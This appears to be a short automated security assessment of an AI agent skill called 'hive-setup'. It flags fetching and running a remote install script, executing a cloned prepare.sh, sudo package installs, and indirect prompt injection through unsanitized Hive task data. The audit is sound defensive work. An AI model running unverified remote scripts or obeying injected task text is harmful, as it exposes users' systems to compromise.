The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: Fetches and executes an installation script from astral.sh (a well-known service) to install the uv toolchain if it is not already available on the system.
[DYNAMIC_EXECUTION]: Executes a local shell script named prepare.sh found within cloned task repositories to initialize the environment for specific tasks.
[COMMAND_EXECUTION]: Utilizes platform and toolchain commands such as brew install, apt-get install, pip install, and various hive CLI operations for installation and agent management.
[PRIVILEGE_ESCALATION]: Uses sudo apt-get on Linux systems to ensure required Python packages are installed at the system level.
[EXTERNAL_DOWNLOADS]: Downloads platform updates from the vendor's repository on github.com and project dependencies via pip or uv from requirements.txt files.
[INDIRECT_PROMPT_INJECTION]: The skill processes external data from the Hive server which could potentially influence agent behavior through task descriptions or identity responses.
Ingestion points: Results from hive task list and hive auth whoami, and metadata in task configuration files like .hive/fork.json (SKILL.md).
Boundary markers: None present.
Capability inventory: Shell execution (bash, sh), file permission management (chmod), and package managers (pip, uv).
Sanitization: None present.

hive-setup